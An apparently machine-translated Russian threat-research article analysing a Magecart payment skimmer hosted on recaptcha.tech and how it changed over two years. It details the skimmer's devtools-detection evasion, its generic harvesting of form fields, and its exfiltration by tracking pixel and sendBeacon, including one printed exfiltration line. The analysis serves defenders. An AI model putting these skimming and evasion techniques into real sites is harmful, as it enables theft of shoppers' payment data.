Разбивка атаки с использованием технологии recaptcha[.] и ее развитие в течение двух лет.

Волшебная тележка в дикой природе

Одна из моих обязанностей в качестве исследователя в PerimeterX заключается в том, чтобы просматривать Интернет в поисках угроз, отображать методы, используемые мошенниками, и разрабатывать контрмеры как для обнаружения, так и для предотвращения.

Обычно мониторинг ландшафта угроз сводится к анализу новейших методов, позволяющих избежать обнаружения и максимизировать прибыль киберпреступников. Однако, исследуя одну конкретную атаку Magecart, я проследил за развитием скиммера в течение двух лет. Я обнаружил, что наряду с развитием навыков создателя скиммера, тенденция к обобщению — переход от нацеливания на конкретные поля и формы к написанию кода, который будет работать на большинстве сайтов электронной коммерции — была очень очевидной.

Хотя методы, используемые в атаке, являются общими, я следил за продвижением скиммера и выбором, сделанным мошенником, который его разработал. Было очевидно, что, как и любой другой разработчик программного обеспечения, создатель этого скиммера также занимался вопросами расширения поддержки других платформ, совместимости с различными реализациями, а также улучшения методов уклонения от исследований.

Атака

Эта атака была обнаружена на различных веб-сайтах розничной торговли без какой-либо очевидной связи между ними. Что бросилось в глаза, так это использование recaptcha в имени вредоносного домена: recaptcha.tech. Эта кампания, кажется, продолжается уже довольно давно, так как сервер был зарегистрирован еще в июле 2019 года и сразу же начал обслуживать вредоносный JavaScript. Ни один поставщик не помечает его как распространяющий вредоносный контент, но единственным контентом, который я нашел связанным с ним, были скиммеры, размещенные на скомпрометированных сайтах.

Как и в случае с любой атакой Magecart, она создает риск кражи платежных реквизитов клиента и личной информации (PII), а также подвергает владельцев сайтов штрафам за нарушение законов о защите данных, таких как GDPR, CCPA или NYPA. Это должно беспокоить любых владельцев розничных магазинов, средств массовой информации или других цифровых корпоративных сайтов, поскольку это может негативно сказаться на доверии их пользователей и репутации бренда.

Разбивка атаки

На всех сайтах, подвергшихся этой атаке, на каждой странице был встроен встроенный загрузчик. Несмотря на внедрение, скиммер активировался только тогда, когда находил хотя бы один из целевых элементов: кнопку Отправить в форме оформления заказа. Давайте проверим код, найденный на одном из целевых сайтов, который все еще работал до недавнего времени, прежде чем с владельцем связались.

Загрузчик

Сам сайт был скомпрометирован, а в основной HTML-код был внедрен встроенный скрипт, который загружался по каждому пути. Он загружает скиммер на страницу с помощью метода jQuery ajax, который не только извлекает содержимое скиммера, но и автоматически вставляет его на страницу.

Скиммер

Многие переменные, функции и классы сохранили свои первоначальные имена (например, attackClass, tmp_keys, bad_keys, mobile, разрешить, зашифровать, форматировать, update_data и т. д.), хотя скрипт был запутан. Остальные я переименовал более осмысленными, хотя иногда и длинными именами. Код, показанный в этом Github gist, уже деобфускирован, функции обфускации и переменные удалены для удобочитаемости.

Течение

  1. Скиммер прослушивает события keydown и определяет, открывает ли пользователь инструменты разработчика с помощью разных комбинаций клавиш. Если такая комбинация наблюдается, устанавливается ключ localStorage и атака прекращается.
  2. Сценарий определяет, выполняется ли сеанс на мобильном устройстве, ища строки, указывающие на мобильный браузер, в сравнении со строкой пользовательского агента, а также наличие ontouchstart в окне и наличие navigator.maxTouchPoints больше 0.
  3. Если сеанс не запущен на мобильном устройстве, инициируется еще одна проверка закрытия инструментов разработки, на этот раз путем проверки разницы между внешним и внутренним размерами окна.
  4. Если ключ devtools не существует в localStorage (т. е. нет указаний на то, что devtools открыт), скрипт выполняет итерацию по списку жестко запрограммированных селекторов css, большинство из которых четко указывает на кнопки отправки формы, некоторые с имена поставщиков платежей, таких как Braintree, Wizgo или OneStepCheckout, и, если они существуют,устанавливает прослушиватель событий на них для событий mouseover. Он также помечает их пустым атрибутом onrotate, чтобы избежать избыточности.
  5. Скрипт перебирает все элементы input, select, textarea и выбранные элементы option и собирает их имена/ ID и их значение.
  6. Собранные данные шифруются жестко заданным ключом — dev.recaptcha.stream и кодируются.
  7. Если в скрипте есть указания на то, что devtools открыты, все прослушиватели событий mouseover, а также прослушиватель keydown удаляются, и атака прекращается. Конфигурация удаляется, а важные переменные очищаются от значений.
  8. Шаги 2–7 повторяются каждые полсекунды.
  9. После запуска события mouseover собранные данные отправляются через navigator.sendBeacon на жестко заданный URL-адрес, после чего атака останавливается.

Взять

  • Существование загрузчика в виде встроенного скрипта предполагает, что сам сайт был скомпрометирован, а не атака цепочки поставок.
  • В то время как некоторые скиммеры приносят свой собственный jQuery «на всякий случай», этот загрузчик (и фактически все загрузчики, идентифицированные как часть этой кампании) требует, чтобы jQuery уже присутствовал на сайте, чтобы получить скиммер.
  • Жестко закодированный список целевых кнопок для размещения прослушивателя событий состоит из ряда различных идентифицируемых поставщиков платежей, что позволяет предположить, что это общая атака, вероятно, распространенная на разных сайтах.
  • Общий сбор данных из полей ввода поддерживает предыдущую оценку.

Диверсия, предназначенная для человеческих глаз

Использование recaptcha в домене, особенно когда настоящая Recaptcha встроена в сайт, предназначено для того, чтобы сбить с толку случайных заглянувших в devtools. Легко понять, как с первого взгляда можно спутать вредоносный https://recaptcha.tech/client/js/api.js» с безобидным https://www. google.com/recaptcha/api.js.

Даже URL-адрес эксфильтрации замаскирован под действующую конечную точку рекапчи — /verify.

Настойчивость — ключ к обнаружению открытых инструментов разработчика

Если вы подозреваете, что на веб-сайте что-то не так, первым делом откройте окно инструментов разработчика и осмотритесь. Загляните на вкладку «Сеть», чтобы узнать, есть ли какая-либо связь с незнакомым доменом, или перейдите на вкладку «Источники», чтобы найти что-нибудь подозрительное в коде. Возможно, вы обнаружите неуместный элемент на вкладке «Элементы». Есть много способов найти индикаторы атак, просто покопавшись в инструментах разработки, поэтому у скиммеров есть стимул распознавать, что за ними наблюдают, и прекращать свою работу.

Эта атака ничем не отличается в этом аспекте. Он использует общий метод проверки того, открыты ли инструменты разработки, сравнивая внешний и внутренний размер окна. В то время как большинство скиммеров просто избегают запуска при возможном наблюдении, этот также устанавливает кейлоггер, который отслеживает последние 3 произошедших события keydown. Он ищет определенные комбинации, начинающиеся с ctrl и shift, где последним событием была одна из его так называемых «плохих клавиш», которые используются для открытия инструментов разработки (или просмотра исходного кода) в Windows, Mac или с помощью Chrome, Safari или Опера. Часто используемая клавиша F12 также контролируется.

Как только любой из механизмов определяет, что инструменты разработчика были открыты, ключ localStorage сохраняется со своим значением, установленным как текущая дата и время. Отсутствие этого ключа проверяется при запуске атаки. Если ключ существует и старше 3 часов, он удаляется. В противном случае атака останавливается.

Эволюция скиммера: станем еще более стильным

Как упоминалось ранее, эта кампания не нова, и хотя некоторые атаки все еще продолжаются, более ранние итерации можно отследить вплоть до июля 2019 года, когда сервер был зарегистрирован. Я вернулся и откопал предыдущие версии скиммера, которые обслуживались в том же домене, и мне было интересно посмотреть на развитие скиммера, особенно между его самой ранней версией и последней.

Разрушение предыдущей атаки

Вот более ранняя версия скиммера. Загрузчик был почти таким же, как и в последней версии, поэтому я его пропустил, чтобы не загромождать код.

Скиммер

Код, показанный в этом Github gist, был деобфусцирован, а функции обфускации и переменные удалены для удобочитаемости. Затем функции и переменные были переименованы в соответствии с последней версией, чтобы упростить сравнение.

Течение

Вот как эта ранняя версия выполняла скимминг:

  1. Когда размер окна изменяется, проверка того, были ли открыты инструменты разработки, будет выполняться путем проверки разницы между внешним и внутренним размерами окна. Ключ localStorage будет установлен, если будут обнаружены devtools.
  2. Ключ localStorage проверяется каждую секунду, удаляя все данные, которые скиммер, возможно, уже собрал, если они существуют, или удаляя ключ, если с момента его установки прошло более часа.
  3. Скрипт проверяет, существует ли кнопка, ища жестко закодированный селектор css 4 раза в секунду.
  4. Как только кнопка найдена, скрипт помечает ее, устанавливая для нее атрибут, клонирует ее, добавляет прослушиватель событий для нажатий и заменяет оригинал клоном, сохраняя при этом оригинал.
  5. Когда пользователь нажимает кнопку, жестко закодированный список полей собирается и сохраняется в локальном хранилище под ключом, отличным от того, который используется для обнаружения инструментов разработки.
  6. Сценарий создает тег изображения и маскирует его под файл gif размером 1 пиксель, хотя фактическим назначением является файл php с полезной нагрузкой, прикрепленной как часть жестко закодированной строки запроса.
  7. Как только тег изображения добавлен в модель DOM, сценарий удаляет этот вновь введенный тег изображения, а также собранные данные, хранящиеся в localStorage, заменяет клон исходным узлом и нажимает исходную кнопку.

Различия

Первое, что я заметил, это то, что это простой линейный скрипт без более структурированного класса и методов. Но мне показалось интересным сравнивать версии не из-за того, что мошенник улучшает навыки программирования, а из-за расширения масштаба.

Сравнение показывает очевидные признаки улучшения — не только в структуре и методах скрипта, но и в способности нацеливаться на большее количество сайтов с одним и тем же кодом без необходимости корректировки кода для каждой атаки.

Я сосредоточусь на трех ключевых областях, в которых я заметил определенные улучшения: таргетинг на поля, перехват кнопок и эксфильтрация данных.

Полевой таргетинг

Самая ранняя версия работает путем жесткого кодирования селекторов css, соответствующих целевым полям ввода и атрибутам, которые должны быть извлечены из них.

Они специально выбираются для соответствия определенному платежному провайдеру или платформе, которая использует эти жестко запрограммированные идентификаторы.

Более поздняя версия переходит от жестко запрограммированных идентификаторов к именованию имени тега вместе с его атрибутом имени, возможно, из-за изменения структуры или изменения целей этой атаки.

В этой промежуточной версии специально собирается дополнительная информация о коде страны и штате. Сама коллекция, включая оператор switch, остается прежней.

В последней версии код выполняет итерацию по всем полям input, select и textarea, найденным на странице, динамически извлекая их имя/идентификатор и релевантный для них атрибут, содержащий целевые данные:

Эта стратегия позволяет запускать один и тот же сценарий практически на любой странице, предоставляющей доступ к этим полям ввода, без каких-либо изменений.

Зацепка кнопки

Выбор дизайна, когда начинать фактический сбор урожая, также был пересмотрен между самой ранней и промежуточной версиями, не меняясь снова ни в одной из будущих версий.

Самая ранняя версия запускала атаку после нажатия кнопки замены:

В промежуточной версии было изменено время сбора данных — теперь они собираются в интервале, не привязанном к нажатию кнопки отправки, которое только инициировало эксфильтрацию данных:

Вы также заметите, что селектор css целевой кнопки изменился, вероятно, ориентируясь на другого платежного провайдера.

Версия, которая пришла после этого, уже совершила переход от замены кнопки к зацеплению оригинала. Он использовал объект, в котором селектор css для кнопки оформления заказа, возможно, на странице, является ключом, а значение указывает, был ли он перехвачен (полезно, чтобы избежать двойного перехвата и удалить перехват, когда атака завершена):

В последней версии объект objects убран (но имя сохранено) и просто устанавливается безобидный атрибут для кнопок с крючками. Обратите внимание на недавно добавленные селекторы css, которые предполагают, что эта версия обслуживает гораздо более широкий выбор возможных целей:

Эксфильтрация данных

Еще одним интересным изменением являются методы, используемые для эксфильтрации украденных данных обратно на сервер мошенника.

Самая ранняя версия вставляет элемент изображения и устанавливает атрибут src так, чтобы он указывал на сервер мошенника. Зашифрованные украденные данные скрываются как часть строки запроса, которая также содержит некоторый «шум», чтобы этот запрос выглядел менее подозрительным.

Вы заметите, что ширина и высота элемента были установлены на 1x1, подобно пикселю отслеживания. Я не уверен, что в то время сервер действительно вернул пиксельный ответ, но в любом случае другая функция, работающая с интервалом 4 раза в секунду, будет искать этот элемент изображения и удалять его, как только он будет найден.

В более поздней промежуточной версии было внесено изменение для отправки данных не при нажатии кнопки, а при наведении курсора мыши на кнопку. Вместо использования техники image.src использовалась функция sendBeacon, которая не получала ответа от целевого сервера. Был ли это способ снизить затраты или просто ускорить эвакуацию?

send() {navigator.sendBeacon(config.backend, config.data);}

Рискну предположить, что перехват кнопки вместо ее замены и использование mouseover вместе с этой техникой sendBeacon — все это часть попытки быть менее навязчивой и изменить поток сайта. Это может привести к поломке сайта, сделать атаку более шумной и, возможно, предупредить об этом пользователей и владельца сайта.

Между использованием дополнительных методов для определения того, когда за скриптом наблюдают (открытые инструменты разработки), ограничением области действия переменных и очисткой после остановки атаки, мошенник предпринимает заметные активные усилия, чтобы предотвратить исследование и обнаружение вируса. атака.

Резюме (ча)

Этот скиммер за два года превратился из атаки, нацеленной на определенные поля в конфигурации одного сайта, в общую атаку, совместимую с рядом платформ или платежных систем.

Со временем качество некоторых методов было улучшено, что обеспечило бесперебойную работу скиммера, а также улучшило защиту от исследований. Другие — например, использование ключа в локальном хранилище для остановки атаки и функции шифрования — остались прежними. Если определенный метод работает, например, спрятаться за сервером, вызывающим имя recaptcha, зачем его менять? Имейте в виду, что, хотя этот скиммер не обладает какими-либо расширенными характеристиками, которые могли бы стать проблемой для большинства решений по обнаружению, он все еще работал без перебоев в течение достаточно долгого времени, вероятно, отчасти из-за приспособляемости его сопровождающего.